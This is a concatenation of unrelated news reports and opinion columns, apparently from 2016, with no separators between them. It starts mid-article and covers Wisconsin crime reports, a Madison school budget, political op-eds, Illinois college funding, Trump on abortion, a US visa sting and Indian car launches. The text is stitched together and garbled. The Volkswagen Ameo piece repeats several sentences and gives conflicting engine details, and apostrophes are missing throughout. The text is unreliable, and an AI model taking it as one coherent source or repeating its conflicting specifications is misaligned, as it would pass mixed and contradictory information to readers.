Middleton Police Chief Charles Foulke said the girls were doing better on Friday after suffering "non-life-threatening but significant" injuries.

The condition of the girls has not been released.

The girls were crossing Century Avenue at Frank Lloyd Wright Avenue at about 4 p.m. Thursday when they were struck by the truck.

A second crash happened several blocks afterward, on Century Avenue at Northbrook Drive, when Cotter-Brown allegedly drove head on into a vehicle, disabling the truck.

"The driver of that vehicle also was taken to the hospital with non-life-threatening injuries," Foulke said.

Kromrey is closed on Friday just as all Middleton schools are closed for in-service, but counselors are available at Kromrey for staff and students, Foulk said.

Cotter-Brown, who reportedly was driving erratically earlier on Highway M and refused to stop for a Dane County deputy, kept going after striking the girls, hit the other vehicle head on which disabled his truck, and was taken into custody at gunpoint, police said.

Foulke said anyone with knowledge of Cotter-Brown's whereabouts or activities before the crashes should contact police.

The hit and run crash is being investigated by a countywide team, since it is considered a critical incident involving police in which serious injuries occurred.

The investigative team includes a police lieutenant from the Fitchburg Police Department and personnel from the Fitchburg, Middleton and UW-Madison Police Departments.
A Madison man who told a candy wrapper tosser "I believe you dropped this" while handing the wrapper back to the tosser was knocked out for this courtesy, by a friend of the tosser.

The incident happened at about 5:30 p.m. Wednesday on Marvin Avenue on the city's Southwest Side, police said.

The 19-year-old victim told police he saw a passenger in the front seat of a parked minivan toss the wrapper out of the window.

"He picked up the wrapper and handed it back to the passenger," said police spokesman Joel DeSpain. "The passenger responded by tossing two candy wrappers out the window."

The situation escalated, as four men, including the wrapper tosser, got out of the minivan.

"A back seat passenger delivered a hard punch to the victim's head, knocking him out," DeSpain said. "The victim was regaining consciousness as the van drove away."

The suspect is black, 18 to 22 years old, 6 feet tall, 225 pounds, with black shoulder-length dreadlocks.
Madison police were looking for a gunman who fired from his vehicle Thursday and hit a man in another vehicle on the citys South Side.

Police spokesman Joel DeSpain said the victim  a Madison man in his 20s  was hit in the leg by one round just after 1 p.m. in the 1000 block of Ann Street. He was taken to a hospital for treatment.

Officers recovered several shell casings at the scene, DeSpain said, and the vehicle that was hit also was found with several bullet holes in it.

Police believe the victim was specifically targeted by the shooter.

There was no evidence to connect Thursdays shooting with a fatal shooting Tuesday in front of OGradys Irish Pub on Mineral Point Road, police said. Martez Moore, 30, of Madison was killed in that shooting on the citys Far West Side.

Police described the gunman in Thursdays non-fatal shooting as a black man with dreadlocks who at the time of the incident was wearing a white T-shirt and driving a newer, maroon Chevrolet with a gold emblem on the back.

The gunfire Thursday occurred in front of an apartment building next door to United Rentals at 1018 Ann St.
UW-Madison Police have found no evidence to substantiate a report of a sexual assault near Memorial Union earlier this month.

Investigators looking into the reported April 8 incident used 44 minutes of surveillance video to track the alleged victims movement from a Downtown bar to a location where she was found by police and found no evidence an assault took place, the department said Friday.

At 10:37 p.m. that night an officer found the 23-year-old woman on a curb near UW Alumni House, 650 N. Lake St. Her clothes were wet from the knees down and she appeared to be upset.

The woman, who was visiting from out of town, told the officer she had been sexually assaulted at knifepoint by three men between the time she left a bar and the time the officer found her. She was unable to provide suspect descriptions, the department said.

Investigators used phone logs and indoor and outdoor surveillance footage to trace the womans steps from 9:53 p.m., when she left a bar alone, until 10:37 p.m., when she was found by an officer.

The evidence gathered does not support that a sexual assault occurred in that time frame or at that location. Potential perpetrators were not located on surveillance cameras, police spokesman Marc Lovicott said in a statement Friday.

Investigators believe it is highly likely the woman was referring to a previous traumatic incident.

We believe this woman was assaulted at some point in her life  but not at this time and location, Lovicott said.
The Madison School District would reduce its staff by 1.6 percent and raise property taxes 2.5 percent next year under a balanced budget proposal released Friday by Superintendent Jennifer Cheatham.

The document is Cheathams formal recommendation to the School Board after months of informal feedback from board members. The board now will deliberate and weigh public comments before a vote on June 27.

Under the proposal, the owner of the average-priced home, currently valued at $254,549, would pay taxes of $3,045 to support the education of Madison children, an increase of $74 over the prior year.

The districts operating budget is proposed to increase $5.5 million over the current years budget to $376.4 million.

The budget landscape for the 2016-17 school year is another tough one, said Mike Barry, assistant superintendent for business services. There is no increase in the state revenue limit formula and just a $100 increase per pupil in what is called categorical aid, the only notable increase in state support for the budget, he said.

Revenues will increase less than 1 percent while fixed costs will rise more quickly. That has led to a budget gap of $6.4 million to $8.5 million, forcing cuts in staffing and programming.

The state did us no favors, Cheatham said. This budget required that we not only define our priorities but narrow them and zero in on the most critical steps that will keep the district moving in a positive direction.

The proposed budget would spend $1.6 million in reserve funds and use the boards full levy taxing authority.

The most challenging aspect of the budget, Cheatham said, was personnel cuts. In the past, the district has been able to make these cuts mostly at the central office or among support staff at the school level.

Now, the vast majority of cuts are classroom teachers, she said.

The proposal would reduce staffing overall in the district by 66 full-time positions out of the current 4,081. About 50 of those positions are to come out of staff based at the school level. The rest would be eliminated from the districts central office.

Some of the school-based staff reductions are due to a projected slight dip in enrollment next year  deemed temporary by district officials  while the rest are related more directly to the budget gap. Additionally, the reductions at the central office are due mostly to Cheatham choosing to repurpose existing budget money for what she considers essential priorities going forward. Since there is little new money, this is the way she is proposing to pay for them.

The new investments recommended by Cheatham include $289,000 for at least three more employees to focus on student academic and career planning; an additional $625,000 toward the next round of the districts technology plan (boosting the technology budget to $3.65 million); and an additional $500,000 for major capital maintenance (upping that budget to $5 million).

One budget scenario earlier this year included cutting three instructional resource teachers who serve gifted and talented students. That would have left the district with 19 such teachers. It proved an unpopular idea with parents, and the budget proposal released Friday cuts just one of those positions.

The budget provides for a 2.05 percent overall increase in money spent on wages and salaries, although individual raises will vary based on an employees circumstances. Everyone will get a base wage increase of 0.12 percent, and many will get additional increases based on educational attainment and years in the district.

The budget proposal is predicated on a zero-percent increase in health care costs, which means finding about $1.95 million in savings in that area. Cheatham said Friday it is likely this will mean a new approach to fringe benefits in which employees would begin paying a percentage of their health insurance premiums.

This would be a big change in a district where the teachers union has long fought the idea and past boards had shown little interest in pushing it through. The current board has not yet signed off on the idea, although members have signaled they are willing to take the step.

How the employee contribution will be structured remains a big missing piece. Cheatham said her team will present a proposal next month.

In the weeks ahead, board members will be able to craft budget amendments to shift money around if they can get a majority of their fellow board members to agree with them. Anna Moffit and TJ Mertz said Friday they likely will be among board members offering amendments, though both said they are still working on them.

Mertz said hes looking closely at areas such as the way school-based funding is allocated and the funding that surrounds the boards Behavior Education Plan, or disciplinary code, and how it has been implemented. Moffit said she is looking at class sizes at high-poverty schools and the level of staff support for students with intensive mental, physical or intellectual needs.

The budget proposal is to be formally presented to the School Board at 6 p.m. Monday in the auditorium of the Doyle Administration Building, 545 W. Dayton St. A list of meetings for public feedback and an online comment form can be found at mmsd.org/budget.
For weeks, attention on House Speaker Paul Ryan has focused on 2016 and the prospect the Wisconsin congressman might become the beneficiary of a deadlocked Republican National Convention seeking an alternative to Donald Trump and Ted Cruz. Ryan has now firmly rejected that prospect.

In fact, Ryans actions strongly suggest  especially his multi-faceted campaign-style effort involving fundraising, politics and substance  that, while working to help Republicans in 2016, he is also thinking beyond this election to 2017 and his likely role in the years beyond.

For the unspoken bottom line of Ryans efforts is that, if current trends continue, he is likely to wind up as the nations undisputed top Republican next year, following the GOPs probable loss of both the presidency and its current majority in the Senate.

As such, he would become the main source of alternative policies to those of the next Democratic president and the national voice of a shattered party seeking to reconstruct and redirect itself for 2018, 2020 and beyond.

That can only happen if he can maintain the Republican House majority that population trends and GOP gerrymandering have made relatively secure, barring a party-wide electoral disaster.

This explains his current top priority: raising money from districts designed to lock in the party majority. So far this year, he has raised $17.2 million, primarily for GOP House candidates. He will play a crucial role as convention chairman in facilitating as much party unity as possible after the bitter presidential fight.

While confronting the GOPs short-term needs, however, Ryan has hardly put aside what he regards as key to its long-term efforts, an agenda of substantive proposals dealing with issues such as income inequality, immigration, sustaining entitlements and a badly skewed tax system. The latter would likely have been his priority if he had remained chairman of the tax-writing Ways and Means Committee.

The election year and the years-long gridlock between Congress and President Barack Obama make dealing with these issues impossible this year. Indeed, despite his confident vows of demonstrating a changed atmosphere by passing a budget, it is unclear if Ryan can achieve that minimal evidence of a functioning House.

Next year could be different. The next president  whether Hillary Clinton or someone else  will enter the White House with a legislative agenda honed on the campaign trail. But Ryan has made clear he would challenge a Democratic president with GOP alternatives designed to restore the executive-legislative dialogue that has been absent in recent years.

Interestingly, Ryan has also been expressing his foreign policy views, following an overseas trip that seemed to signal to other countries that he is the Republican Partys de facto leader, regardless of the presidential election. Its doubtful hed do that if he expected Donald Trump or Ted Cruz to win the White House and set the countrys foreign policy.

Some longtime Ryan watchers still believe he is ambivalent about seeking the presidency. He ruled out a 2016 race early on, making clear his short-term priority was his policy agenda. After running as the 2012 Republican vice presidential nominee, he indicated he wanted to delay any thought of a second national campaign until his children are older. Ryan has never moved his family to Washington and still spends most weekends at home in Janesville.

Still, he is only 46, and the way fellow members drafted him as speaker and look to him as a unifying force at the convention speaks to his stature in the party. That can only increase in future years, especially if 2016 is the electoral disaster many Republicans expect. In that event, the GOP will need a widely respected rallying point, and Ryan will be the obvious choice.

Besides, if Democrats win a third consecutive term in 2016, it would be only the second time in 76 years that a party has done so. And a longer run has been out of reach since the early 1900s, save for the victories of Franklin D. Roosevelt and Harry Truman in the unique atmosphere during and after World War II.

Ultimately, the Republicans will presumably regain the presidency, and no one looks more likely at this point to lead that effort than Paul Ryan.
The assumption that a college education should take four years is baked into American culture. Colleges in the colonial days were founded on the premise of a four-year degree, a concept imported from Europe.

Harvard University experimented with a three-year degree when it was founded in 1636, but the test was short-lived, and the four-year degree has been the standard ever since. We expect students to enter college at 18 and leave when they turn 22, and we worry about those who take a more circuitous route to graduation.

But we need to reconsider that long-established, one-size-fits-all model. For many students, attending college for four consecutive years is no longer the right path. The dynamic economy requires more flexibility, especially in fields outside the traditional liberal arts.

Take data science. In the last five years, there has been a sevenfold increase in demand for data scientists, according to Burning Glass, a company that analyzes job ads. But in the same time span, the requirements for the job have changed, requiring greater training in data visualization and less familiarity with deep quantitative reasoning. In this and other areas, the relevant skills are evolving so rapidly that no traditional undergraduate curriculum can keep up.

Instead of maintaining the four-year norm, we should reimagine a college education as a platform for lifelong learning, one that would provide students with multiple opportunities to develop soft skills as well as critical technical skills  not just between the ages of 18 and 22 but whenever necessary.

Stanford University has provided a model for how a college for life might work. In 2014, its design school developed a proposal for what it called an open loop university, which would admit students for six years of study that could be undertaken at any time.

Under this new system, students could start college when they were ready  at 16, 18 or 26 years old  and distribute the six years as they saw fit. They could loop out after two years to work for a Silicon Valley startup and then loop in a few years later if the startup failed or they wanted to try something else.

Students who returned after looping out could use the time that remained on their six-year clock to move toward new careers in their 30s or 50s.

Granted, students are rushed through college in part because of ever spiraling tuition prices. But new advances in the delivery of education can assist in lowering the cost of a degree, so that more time wont necessarily equal higher prices.

Online and hybrid classes, which mix virtual and face-to-face learning, are both less expensive to offer and more flexible than a traditional lecture- or seminar-based course. At the University of Central Florida, 60 percent of the universitys 53,000 students take online or hybrid classes, and can mix and match them with traditional classes in the same semester.

Students at many colleges already acquire knowledge in a variety of settings  through internships, co-curricular activities and independent research projects  yet most of the credits they earn and pay for in college are based only on the time they spend sitting in a classroom. By giving students credit for experiential learning as well, colleges could help integrate in-class education with the hands-on experiences valued by employers. This change would also help students learn how to take control of directing their professional development.

Courses in this new model for education wouldnt need to be offered solely by traditional universities. College and universities could curate trusted sources outside their campus walls to supplement their offerings, including free open online courses; boot camps that offer short-term skill classes; and online training programs, such as Lynda.com.

With an expansion of the ways higher education is provided, students wouldnt be locked into studying at a particular place and in one set period of time. Instead, a student could move in and out of college, going back when new skills and information are needed, and higher education would become what it needs to be  a lifelong and adjustable acquisition of knowledge.
In the polarized environment of modern American politics, there arent many things that liberals and conservatives agree on. But they should be able to join hands and lift their voices in unison to say, Bernie Sanders will not do.

Congress has plenty of members who stand left of center, but despite serving 16 years in the House and nine in the Senate, hes gotten the endorsement of only a handful. Vermonts other senator and its governor, both Democrats, have endorsed Hillary Clinton.

Former Rep. Barney Frank, one of the most accomplished liberal lawmakers of our time, doesnt have much use for him. Bernie Sanders has been in Congress for 25 years with little to show for it in terms of his accomplishments, he told Slate. That, he told The Washington Post, is because he is very wary of compromise and of accepting less than you want.

The 2010 Dodd-Frank law, which Frank co-authored, was described by The Washington Post as the most ambitious overhaul of financial regulation in generations. Yet Sanders proclaims, Congress does not regulate Wall Street. Wall Street regulates Congress.

Franks response in Politico: When my 2010 opponent was greeted by cheers on the floor of the New York Stock Exchange during our campaign, and major financial operators like Carl Icahn and David Einhorn maxed out to him to punish me for our legislation, I dont think any of them agreed with Sanders that Wall Street had somehow been regulating us.

Frank faults him for acting as though nothing big has been accomplished under Barack Obama  who, besides Dodd-Frank, pushed through the Affordable Care Act and raised the top marginal income tax rate from 35 percent to 39.6 percent.

Liberals have other reasons to be leery. Sanders portrays climate change as the single greatest threat facing our planet even as he demands a ban on fracking. But the main reason the United States has been able to reduce carbon emissions in recent years is that we have replaced coal with natural gas  which has become more abundant thanks to fracking.

He proposes more than doubling the minimum wage, to $15. But Princeton economist Alan Krueger, whose research suggests a $12 floor would not destroy jobs, says a $15 national minimum could well be counterproductive.

Sanders thinks anything worth doing is worth overdoing. But his all-or-nothing attitude, Frank contends, makes it less likely that progressives will succeed in moving society in the direction they want. That may be the only consolation for non-liberals and anyone else distrustful of an all-powerful government. Sanders says he believes in democratic socialism but has room in his heart for the other kind. In the 1980s, he praised the Marxist-Leninist regimes in Cuba and Nicaragua.

His loathing is reserved for capitalism. His inability to explain his plan to break up big banks in an interview at the New York Daily News was confirmation that on anything to do with economics, he is guided purely by ideology.

He says our private health insurance system is the reason we spend almost twice as much per capita on health care as do the people of any other country. PolitiFact noted that our per capita cost is just 38 percent more than that of Switzerland, the next highest. Some countries with lower spending rely heavily on private insurance.

He has only contempt for any U.S. company that would move production to China or Mexico just to make even more money. He doesnt grasp that if a U.S. company doesnt shift production to raise profits, its foreign rivals may do so  and put it out of business. Sanders assumes that earnings grow on trees.

His fiscal realm is a zero-gravity environment. His tax plan would raise the top marginal rate to a confiscatory 77 percent  almost certainly stifling economic growth, not to mention reducing revenue from what it would be at lower rates.

On spending, he offers a fiesta of extravagance: free college, paid family leave, Medicare-for-all, an across-the-board increase in Social Security benefits. The bipartisan Committee for a Responsible Federal Budget says they could add $15 trillion to the national debt over a decade. Even liberal economists have characterized his budget agenda as a joke.

Sensible voters on the left and the right will decline the suspension of disbelief his campaign invites. In the unlikely event he wins the election, Sanders wont announce, Im going to Disney World. He lives in his own magic kingdom.
The journey toward a more perfect union was quickened with the announcement that Harriet Tubman, abolitionist, Union spy and activist for womens suffrage, will grace the front of the $20 bill. The Tubman twenty will be unveiled in 2020, timed to honor the 100th anniversary of womens suffrage.

She will be the first woman on U.S. paper currency in more than a century and the first black American ever. That a black woman who was born a slave will be given such a prominent commemoration is a testament to American exceptionalism, a reminder of the nations slow and erratic but continuing march toward a more just version of itself.

Not all Americans see it that way, of course. Some are already grumbling about the demotion of Andrew Jackson, the nations seventh president, to the back of the bill. (Fox News Greta Van Susteren has called the change stupid.) Others insist the Treasury has simply caved to an ill-conceived political correctness. (Donald Trump claims thats the case.) A few will venture commentary that has no place in polite society.

Indeed, the announcement of a revamped and more-inclusive currency comes at a fascinating time in our politics, a time when a sizable portion of the electorate is roiled by anger, agitation and fear. While some of that anxiety has its roots in economic uncertainty, much of it  especially among the supporters of Trumps presidential bid  has its foundation in a deep-seated resentment of the nations changing demographics.

Its no accident that Trump  who is among the birthers who insist President Barack Obama is not an American  leads the Republican presidential field while denouncing Mexican immigrants and denigrating Muslims. There is a substantial minority of white American voters who are threatened by the loss of numerical advantage, furious over the election of a black president, and resentful of the growing racial and ethnic diversity in American life.

Trump and his supporters have dominated the political narrative in this election season and ignited a civil war inside the Republican Party. They have panicked the Republican establishment. They have set off alarm bells in faraway capitals.

Yet the racially intolerant are losing the battle for primacy in the American story. They no longer dominate the nations culture or mythology, as the changes in the currency illustrate.

Last year, Treasury Secretary Jacob Lew invited the public to comment on his decision to recast a paper bill to feature a woman. Of the 15 women suggested by the activist group Women on 20s, including Eleanor Roosevelt, Susan B. Anthony and Rosa Parks, Tubman received the most votes.

A genuine American hero, she deserves the honor. As a young woman, she escaped the Maryland plantation that had enslaved her, and then made several trips back to assist others. Over a little more than a decade, she helped around 70 enslaved men and women find their way to freedom, traveling by night, using ingenious disguises and employing the hideouts established by the Underground Railroad.

She became an outspoken advocate for abolition, and when the Civil War broke out, she worked first as a cook and a nurse, and later as a scout and spy for the Union Army. After the war ended, she moved to a home she had purchased in upstate New York and campaigned for womens suffrage.

Giving her prominence on the $20 bill forces the nation to acknowledge its original sin, slavery, as does demoting Jackson, a slaveowner. An accurate history further notes the seventh president was notorious for his brutal treatment of Native Americans, whom he forcibly removed from their lands. From now on, it will be hard for history texts to ignore Tubman or to venerate Jackson.

Lew plans other changes, as well. A depiction of a 1913 march for womens suffrage will be added to the back of the $10 bill, as will portraits of leaders of that movement. Images of Marian Anderson, Martin Luther King Jr. and Eleanor Roosevelt will be added to the back of the $5 bill.

Thats as it should be. The journey toward a more perfect union demands an acknowledgment of where weve been.
This ones for John. Hes a reader who took issue with my recent column arguing that conservatism has become an angry and incoherent mess.

John was particularly upset that I described conservatives as resistant to social change. Wrote John:

[sic] Tell that to the right side of the aisle who signed in the civil rights voting act in 1965. Which party resisted that? ... Who resisted the proclamation that freed the slaves? Southern democrat party of course and who was its military arm during reconstruction? The KKK. Today that organization is tied into the liberalism more than conservatism. ... Your party, the liberals who now call themselves progressives, are the party of Strom thurmond, Robert Byrd, Lester Maddox, George wallace  and ... Al Sharpton and Jesse Jackson.

Please note what John did there. He responded to a critique of social conservatism by mounting a defense of the Republican Party, as if the two were synonymous. Granted, they are now, but in the eras John mentions? Not so much.

Indeed, when Abraham Lincoln issued that proclamation John is so proud of, it was considered an act not of conservatism, but of radical extremism. And those Republicans who voted for the Civil Rights Act of 1964 and the Voting Rights Act of 1965 were moderates, i.e., the kind of people who have been driven out of a harshly conservative party that now considers moderation apostasy.

The truth, as any first-year history student could tell you, is that Republicans were the more socially liberal party and Democrats the more socially conservative for at least seven decades after Lincoln. But in the years since then, they have essentially swapped ideologies.

The reason John engages in this linguistic shell game, the reason he defends the party that wasnt attacked instead of the ideology that was, is simple: The ideology is indefensible, at least where civil rights is concerned. You must be a liar, a fool or an ignoramus of Brobdingnagian proportions to suggest social conservatives have ever supported African-American interests.

They didnt do it a century ago when conservative meant Democrats. They dont do it now.

Sadly for John, pretending otherwise requires him to twist logic like a birthday party clown making balloon animals. How addlepated must you be to see common ground between the segregationist Lester Maddox and civil-rights activist Al Sharpton? How cuckoo for Cocoa Puffs are you when you consider the Ku Klux Klan and Strom Thurmond liberal?

And yes, you may think this a lot of energy to lavish on one man. But it isnt one man. I hear Johns reasoning literally a hundred times a year from conservative readers. Indeed, a few weeks ago on CNN, a Donald Trump apologist pimp-slapped reality by branding the Klan a leftist group. So John is hardly the only one.

These people must lie about history to exonerate conscience. Yet the truth is what the truth is. John need not take my word for what conservative means. Merriam-Webster backs me up. He need not even take my word for the history. A hundred history books back me up.

But honest, grown-up Republicans, assuming there are any left, may want to take my word for this: They cannot achieve their stated goal of a more-welcoming and inclusive party while clinging to an ideology whose entire raison detre is exclusion. You see, social conservatism only works for those who have something to lose, those who have an investment in status quo.

Im reminded of an anecdote about a Howard University professor who visited the Soviet Union in the 1930s. He explained to his hosts that some Negroes were politically conservative. They were astonished.

Why? asked one. What do they have to conserve?
By passing this bipartisan agreement, lawmakers in both chambers put aside political differences to provide emergency assistance for higher education, ensuring universities and community colleges remain open and low-income students can pay for school," said Governor Rauner's press secretary Catherine Kelly. "We are hopeful the General Assembly will build on this bipartisan momentum in the weeks ahead as we negotiate a balanced budget with reform for Fiscal Years 2016 and 2017.

SPRINGFIELD - Springfield lawmakers from both sides of the aisle agreed to a provision for budget-devastated higher education Friday, and Governor Rauner reacted positively in a statement issued from his office, conveying hope the cooperative mood would develop.

After a ten month stalemate and a week of game-playing by the Speaker, today we saw a ray of hope. Sincere, bi-partisan efforts by rank-and-file members have yielded an agreement that will give universities, community colleges and our students that depend on MAP grants some breathing room," said State Rep. Grant Wehrli (R-Naperville) in a statement.

The $600 million provided in the emergency funding in SB 2059 will come from the Educational Assistance Fund. The money is in place, and the Governor has agreed to sign the allocation when it reaches his desk.

"This is proof that we can find solutions when we work together. Now, lets get that spirit of bi-partisan cooperation working on a full year, responsible budget, Wehrli said.

The measure passed the Illinois House 103 to 2, with Democrat Reps. Scott Drury and Jack Franks opposing.

Rep. Tom Demmer (R-Dixon) urged stopgap funding to remedy similar issues in Human Services as well.

As a member of both the House Human Services Committee and the House Human Services-Appropriations Committee, I understand there are many similar challenges facing the human services safety net. We should take this momentum and next apply it to human services and a full budget solution, said Rep. Demmer.

The stopgap higher education funding measure provides nearly $170 million in funding to MAP recipients, $74 million to community colleges, and $26 million to nearby Northern Illinois University.

I appreciate that this stopgap funding measure was driven by rank-and-file members and I hope we can use this momentum to break through this impasse and begin to remedy the dire fiscal situations facing our state, continued Demmer.

State Rep. Bob Pritchard (R-Sycamore) lauded that the measure used available revenue, not IOUs to fund the immediate needs of the state's colleges and universities.

"Unlike past bills, this legislation is fully funded, meaning schools will get the money they need in the next few weeks. I'm incredibly pleased that this deal was reached and our students can make decisions about their educational futures with greater confidence," Pritchard said.

He, too, hoped the same effort would be put into correcting the human services financial dilemma.

"However, a lot of work remains to be done. This bipartisan, compromise effort is a good start and should be the template moving forward to find solutions for our deteriorating human services and a full budget."

The Illinois Senate unanimously agreed to the changes made on SB 2059 in the House Friday, and sent the bill to the governor's desk.
"Yes, I would ... absolutely ... yes, I would...for the three exceptions ... I would," Trump said.

"The Republican platform every four years has a provision that states that 'the right of the unborn shall not be infringed,' and it makes no exceptions for rape, incest or the life of the mother. Would you want to change the Republican platform to include the exceptions that you have?"

NEW YORK - There are many things that can be said about Republican presidential candidate Donald Trump , but there's one thing both his critics and his supporters agree upon: the man says what he thinks, and thinks what he says.

"Would you have an exception for the health of the mother?" she asked.

"I would leave it at the life of the mother but I would absolutely have the three exceptions," Trump said.

(The video is HERE.)

But wasn't the fact that Donald Trump promised Eagle Forum founder Phyllis Schlafly he would not change the Republican Platform the key reason why she endorsed Trump, a move that sent havoc into the Eagle Forum ranks nationwide?

I asked Donald Trump to support the Republican platform because this is the best and most conservative platform weve ever had. I gave him one of my copies of the 2012 platform. He endorses it and I believe he will stand by it," Schlafly said in a press statement on March 13.

Since the endorsement was issued, Eagle Forum has been through an ugly divisive shakeup, as members of the Eagle Forum Board of Directors met over the phone, and in a 6 to 5 vote, the majority of the board voted to oust Eagle Forum President Ed Martin and replace him with Schlafly's youngest daughter Anne Cori. Schlafly released a video stating she was "still in charge" of the organization, despite the board voting to make longtime Alabama Eagle Forum leader Eunie Smith interim board chairman.

Late Thursday afternoon, after Trump's comments on the Today Show conveying his willingness to amend the GOP platform, eyes turned to Schlafly for her response to what sounded like a betrayal. A statement issued by Republicans for Life, which Schlafly also founded, defended Trump, and criticized the Today Show host for trying to "trick" Trump.

"The reporter on the 'Today' show misrepresented the abortion plank in an effort to trick Donald Trump into disagreeing with other Republicans," the statement said. "Trumps position on abortion is the same as every previous Republican nominee who ran on the current platform language."

And, anyway, the statement said, presidential candidates have little to do with the Platform.

"The Republican Platform was written by the grassroots and adopted by the 2012 Republican National Convention. Presidential candidates have no role in writing or adopting the Platform," the statement said.

The back and forth raised to a new level conservatives' concerns about Trump's views on abortion and his stated support for "the good" Planned Parenthood has done and why it should continue to be taxpayer-funded, just as supporters began referring to Trump as the "presumptive" GOP presidential nominee.
MA XUEJING/CHINA DAILY

Twenty-one "brokers, recruiters and employers" in the United States that allegedly used illegal means to help more than 1,000 foreign youths get student visas (in some cases employment visas) were arrested in a sting operation by the US Department of Homeland Security earlier this month. The students, mainly from China and India, can now have their visas cancelled and be deported.

To sniff out the fraudulent agencies, US federal agents set up a fake university three years agothe "University of Northern New Jersey"which was not staffed with instructors or educators, had no curriculum, and held no actual classes or other academic activities.

Indeed, sting operations like this have helped solve some tricky cases, which normally involve corruption, sex trade, drug smuggling and gun regulations, even terrorism.

Over a year ago US law enforcement officers used a similar tactic to arrest a 20-year-old man after he purchased two guns and 600 rounds of ammunition in Ohio. His Twitter posts sympathizing with Islamic terrorists led to an undercover FBI operation, which eventually prevented an attempted attack on the US Capitol.

A sovereign state does have territorial jurisdiction over the affairs within its borders according to international law, which is why citizens are told to abide by local laws when traveling abroad.

Although legal and effective, the US' sting operation against fraudulent agencies is not without flaws, because many of the foreign students will suffer just because they didn't know much about the country or the scam.

The paradox is that a sting operation, which is conducted to lure criminals or potential criminals planning to commit a crime and arrest them, could also be applied to people who have no intention to break the law. If law enforcers out to frame "criminals" illegally exploit such people they could be guilty of intentional instigation.

According to the US Supreme Court, defendants who have no criminal intentions before being enticed to commit a crime are considered "unwary", meaning that the enforcement of law against them may be illegal. However, they stand little chance of defending themselves against the law enforcers' possible framing if their personal characters and criminal records show they are related to the alleged crimes.

Undercover agents in a sting operation, on the one hand, are under constant threat while conducting investigations, ranging from drug crime and sexual assault on women to illicit cabs. On the other hand, there could be a wave of public complaints, even lawsuits demanding huge compensations from the country, if they bugle their job. That explains why most countries act prudently in authorizing such operations to identify crimes and criminals.

The fraudulent agencies in the US should definitely be held accountable based on their violations of the US and Chinese law, because they have cheated a number of foreign students who dreamt of entering a real US university. But the students' illegal stay or overstay in the US might deal a heavy blow to China's international image as well as that of Chinese students overseas.

The author is an associate professor of law at Southwest University of Political Science and Law.
DSK Benelli, which is just 14 months old, has sold nearly 2,500 bikes in six types, ranging from Rs 1.77 lakh to Rs 12,07 lakh for 250cc to 1130c, so far.

After the expansion, the company expects to sell 4,500 bikes by 2017.

By India Today Web Desk: With sales of Italian superbike picking up momentum, DSK Motowheels is planning to open 35 Benelli showrooms across the country by the end of this year.

ALSO READ: DSK Benelli to launch three new motorcycles in 2016

The company has 17 exclusive showrooms, including the one opened today in the city, DSK Benelli Chairman Shirish Kulkarni told reporters here.

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DSK Benelli, which is just 14 months old, has sold nearly 2,500 bikes in six types, ranging from Rs 1.77 lakh to Rs 12,07 lakh for 250cc to 1130c, so far, he added.

ALSO READ: DSK Benelli launches new limited edition TNT 600i for Rs 5.56 lakh

After the expansion, the company expects to sell 4,500 bikes by 2017.

To a question on coming out with lesser engine power bikes, the official said Benelli had showcased a 135cc Mini Bike, which may cost Rs 1.3 lakh to Rs 1.5 lakh.

ALSO READ: DSK Benelli launches first showroom in MP

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The Ameo sedan marks the entry of Volkswagen on the sub-4 metre sedan segment in India.

The Volkswagen Ameo will fill in for the gap between the Polo and the Vento in the Indian market.

By India Today Web Desk: According to reports, Volkswagen India will be commencing the deliveries for their latest sub-4 metre sedan, the Ameo in July, which was unveiled at a separate event in February, a few days before the Auto Expo 2016.

With the launch of the sub-4 metre Ameo sedan, Volkswagen will be looking to cease the growth of Maruti Suzuki Swift Dzire. The Ameo sedan also marks the entry of Volkswagen on the sub-4 metre sedan segment in India.

The Volkswagen Ameo has been designed and engineered for the Indian market and will be manufactured at the Volkswagen plant in Chakan, Maharashtra.

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ALSO READ: Volkswagen Ameo unveiled, to be showcased at Auto Expo 2016

The Volkswagen Ameo has been designed and engineered for the Indian market and will be manufactured at the Volkswagen plant in Chakan, Maharashtra. Moreover, the Ameo will fill in for the gap between the Polo and the Vento in the Indian market.

Price:

If Volkswagen is serious about the chances of the Ameo, then the German car-makers need to keep the prices economically for maximum sale. We expect the Ameo to come within a price bracket of Rs 5.3 lakh (ex showroom, New Delhi) for the base to Rs 7.5 lakh (ex showroom, New Delhi) for the top-end variant.

ALSO READ: Volkswagen compact sedan named AMEO, to be unveiled at Auto Expo 2016

Design:

The exterior of the Ameo will have body coloured bumpers, with detailing in the chromes, alloy wheels and static cornering lights.

While the interiors of the Ameo will consist cruise control, electrically adjusted and foldable ORVMs, leather wrapped multi-function steering wheel, power window and central locking.

While the interiors of the Ameo will consist cruise control, electrically adjusted and foldable ORVMs, leather wrapped multi-function steering wheel, power window and central locking.

Engine:

The upcoming Volkswagen Ameo will be available with two fuel options- a 1.2L, three-cylinder, MPI petrol engine and a 1.5L, four-cylinder TDi diesel engine.

The upcoming Volkswagen Ameo will be available with two fuel options- a 1.2L, three-cylinder, MPI petrol engine and a 1.5L, four-cylinder TDi diesel engine.

ALSO READ: Volkswagen teases new SUV concept ahead of Beijing debut

The 1.2L Turbocharged petrol engine will churn out peak power of 74 bhp @5400 rpm and peak torque of 110 Nm @3750 rpm, mated to five-speed manual gearbox, while the 1.5L diesel engine will produce maximum power output of 89 bhp @4200 rpm and maximum torque of 230 Nm @1500 rpm, mated to a five-speed manual gearbox and a seven-speed DSG gearbox.

Fuel Efficiency:

The Volkswagen Ameo petrol model could offer a fuel mileage of up to 17 kmpl while the Diesel variant could offer mileage of up to 21 kmpl.

The Volkswagen Ameo petrol model could offer a fuel mileage of up to 17 kmpl while the Diesel variant could offer mileage of up to 21 kmpl. The Volkswagen Ameo petrol model could offer a fuel mileage of up to 17 kmpl while the Diesel variant could offer mileage of up to 21 kmpl.

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Dimensions:

ALSO READ: Volkswagen India to increase output; adds third shift at Pune plant

The Volkswagen Ameo will be 3998mm in length, 1682mm in width and 1469mm in height.

The Volkswagen Ameo will be 3998mm in length, 1682mm in width and 1469mm in height.

Features:

The Volkswagen Ameo variants will come equipped with dual front airbags and ABS as standard. The car will also come equipped with first in segment features like cruise control, rain sensing wipers along with static cornering lights and the dynamic Touchscreen multimedia music system with Mirror Link, i-pod connectivity and phonebook viewer.

Competition:

ALSO READ: Volkswagen suspends sales of the Vento, recalls 3877 units

The Volkswagen Ameo has a boot space of 330 litres.

The Volkswagen Ameo will be competing against the likes of Maruti Suzuki Dzire, Tata Zest, Ford Figo Aspire, Honda Amaze and Hyundai Xcent in the Indian market.

